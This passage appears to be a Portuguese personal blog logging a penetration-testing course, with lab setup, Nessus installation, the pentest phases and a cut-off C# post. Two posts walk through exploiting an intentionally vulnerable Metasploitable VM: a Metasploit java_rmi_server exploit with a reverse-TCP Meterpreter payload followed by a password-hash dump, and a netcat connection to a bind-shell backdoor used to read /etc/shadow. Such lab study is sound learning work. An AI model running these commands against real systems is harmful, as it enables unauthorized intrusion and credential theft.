terça-feira, 7 de março de 2023

Teste de Penetração + Metaspoitable Framework: Aproveitando de uma Informação: RMI Registry foi detectado

 Vulnerabilidades listada como "INFO" não são necessariamente vulnerabilidades, mas podem também ser aproveitadas se souber o que procurar. Por exemplo, a INFO "RMI Registry Detection". RMI Registry é usado pelo Java, então, vamos ver o que podemos fazer:


Da mesma forma que o post anterior, podemos ver detalhes do servidor e porta:

Mas só porque temos a porta do RMI, não quer dizer que a porta listada esteja vulneravel, mas podemos explorar para ver se achamos uma outras portas abertas por causa de uma falha de um programador, por exemplo. Vamos fazer isso com o seguinte comando:

nmap -sV -sS 10.0.2.4 -p1-65535

isso permitirá ver se tem portas abertas. Provavelmente, não irá encontrar nada, mas então, vamos pedir uma ajudinha para uma outra ferramenta. 

Em um outro terminal, vamos rodar o Metaspoitable Framework, com o comando

msfconsole

e depois de iniciado. digitamos

search java_rmi

Aqui podemos ver duas vulnerabilidades:



Destaquei na imagem a vulnerabilidade que escolhi atacar: a configuração padrão inseguro. Vamos nos aprofundar neste item usando o comando

use exploit/multi/misc/java_rmi_server 

o Metaspoitable vai explicar que a configuração padrão quando não existe um Payload configurado é ir direto para java/meterpreter/reverse_tcp. Vamos ver os payloads padrões usando o comando 

show payloads



Agora, vamos setar o payload do MSF para payload/java/meterpreter/reverse_tcp 

set payload payload/java/meterpreter/reverse_tcp 

e agora vamos mostrar os parâmetros que podemos usar:

show options

Agora alteraremos o parâmetro RHOST com o IP da máquina alvo:

set RHOST 10.0.2.4

e vamos setar o parâmetro SRVHOST com o IP do Kali (o que estamos usando):

set SRVHOST 10.0.2.15

e também vamos setar o LHOST para a nossa máquina:

set LHOST 10.0.2.15




e agora finalmente, vamos rodar o exploit com o comando:

exploit

Com isso, conseguimos uma sessão Meterpreter aberta;


E o que podemos fazer com uma sessão dessas aberta? 
se eu enviar um sysinfo, vamos obter informações do sistema.


e se enviar o seguinte comando:

run post/linux/gather/hashdump

e teremos uma lista de Hash das senhas de todos os usuários do sistema

E isso tudo, conseguindo explorar apenas com uma informação no início. Portanto, não subestime uma INFO.

segunda-feira, 6 de março de 2023

Teste de Penetração + Nessus: Aproveitando de um backdoor

 Agora vou demonstrar um exemplo de como se aproveitar de uma vulnerabilidade. No relatório do Nessus apareceu a seguinte vulnerabilidade: "Bind Shell Backdoor Detection".


Se nós vermos a descrição temos o seguinte "Um shell está escutando em uma porta remota sem nenhuma autenticação sendo requirida. Um atacante pode usá-la conectando-a em uma porta remota e mandar comandos diretamente".




Na parte de baixo podemos ver mais detalhes, como o qual é o host (10.0.2.4) e a porta (1524):

Vamos testar usando o NetCat do Linux para ver se conseguimos uma conexão:
who
nc 10.0.2.4 1524

E no caso, consegui conectar ao Metasploitable:


Daqui consigo enviar qualquer comando para o outro computador:

Um exemplo, como entramos como root, não vai ter problema de eu executar o seguinte comando:

cat /etc/shadow

e obter os hashs das senhas dos usuários da máquina:










domingo, 5 de março de 2023

Teste de Penetração: Agressive Scan com Nessus

 Nessus é uma ferramenta de detecção de vulnerabilidades na rede desenvolvida pela Tenable. Ele possui uma versão profissional, mas também pode ser obtido a versão "Essential", antigamente conhecido como "Home" em versão anteriores. 

Para o treinamento, baixei o Nessus (fiz o cadastro para receber uma chave) e instalei na minha VM do Kali.

dpkg -i [arquivo do Nessus].deb

Depois de instalado, é só iniciar o serviço (ou daemon como se diz no Linux):

service nessusd start

Então, podemos acessar a interface gráfica pelo navegador no endereço https://127.0.0.1:8834 para finalizar a configuração, onde você criará uma conta interna, e finalizar a compilação dos puglins. Essa finalização pode demorar alguns minutos, mas se achar que está demorando demais, verifique se a máquina virtual está configurado com os requisitos mínimos e se tem espaço em disco sobrando. 

Terminado essa parte, podemos prosseguir com o passo de escaneamento.

sábado, 4 de março de 2023

VirtualBox: Placa de Rede do Windows XP

 Enquanto tentava fazer a configuração do VirtualBox para executar o Windows XP durante o curso, tive alguns problemas relacionado à configuração de rede. Ou o Windows XP não reconhecia o dispositivo, ou ele precisava de driver específico instalado. 

Em muitos sites, inclusive da rede StackExchange possui gambiarras para instalar o drive para que a rede funcione corretamente dentro da máquina virtual, entretanto, existe uma opção dentro da própria configuração da VM que dispensa qualquer configuração dentro do Windows XP que é a seguinte:


Tipo de Placa:  Intel PRO/1000 T Server (82543GC)

Esse tipo de placa é 100% compatível com Windows XP sem a necessidade de instalar nenhuma placa de video.

sexta-feira, 3 de março de 2023

Teste de Penetração: Montando o Laboratório de Treino

 Para o estudo de invasão, configurei o Oracle VM VirtualBox com os seguintes sistemas:

  • Kali Linux como sistema base, de onde nós realizaremos nossas ofensivas;
  • Metaspoitable Linux que é um sistema Linux que possui falhas de segurança propositais para justamente aprender a explorar essas falhas;
  • Windows XP SP1: Windows XP que todo mundo conhece;
  • Windows 8: Windows 8 
Depois de instalar os sistemas no Virtual Box, criar um rede NAT e configurar cada máquina para responder a essa mesma rede. 

Depois só testar a conectividade entre as máquinas. Para as máquinas Linux, usar o comando ifconfig para ver os ip atribuídos as máquinas e para o Windows, usar o ipconfig para o mesmo. 

Tendo os IP, no Kali, executar o ping para cada ip para verificar se o mesmo responde. Se responder está tudo certo.

Depois do VirtualBox estiver configurado, vamos instalar no Kali o Nessus Essential (versão grátis) e depois de instalado, poderemos começar a fazer algumas brincadeiras.

quinta-feira, 2 de março de 2023

Teste de Penetração: Fases de Teste de Penetração

 Finalmente voltando a publicar algo, depois de um ano bem agitado profissionalmente e de demitir três chefes complicados, agora finalmente tenho algo que vale a pena a se registrar. Estou fazendo um curso focado em Teste de Penetração, que simplificando, são testes com objetivo de buscar vulnerabilidades em sistemas. 

O que vou registrar hoje é algo mais teorico, mas que ajuda a entender o processo. As 5 fases do teste de penetração que são:

  1. Reconhecimento (Reconnaissance): Nesta fase você busca juntar todos os dados possíveis do seu alvo. Sistemas, versões e tecnologias. Não necessita ser dados totalmente técnicos, mas que seja relevante saber, por exemplo, se você quer testar a segurança de uma rede wifi, até onde você consegue obter o sinal.
  2. Escaneamento (Scanning): Aqui você vai usar as ferramentas para aprofundar com os dados, obtendo dados mais técnicos, como portas abertas, serviços que possam ter vulnerabilidades, etc.
  3. Exploitation: aqui nós de fato assumimos o controle de um ou mais aparelhos da rede, seja para extrair dados, seja para lançar ataques aos outros alvos
  4. Pós-Explotation: aqui determina o valor da máquina que comprometemos para ver se vale a pena manter o controle dela para um uso futuro
  5. Apagar os rastros (Covering Tracks): a última fase é apagar qualquer rastro que possa ajudar a detectar a invasão. 

terça-feira, 7 de junho de 2022

C#: Valores Nulos e Operadores Relacionados (??, ??=, ?. e ?[])

Depois de alguns anos, voltando a trabalhar com C# e com isso, algumas novidades. Se tem uma coisa que senti saudade no C# que o Java não tinha são o operador de coalescência nula e o operador de condicional nulos (também conhecido como Operador Elvis, porque parece um emoticon do Elvis Presley), muito útil para evitar o tal famoso NullPointerException. Mas vamos por partes: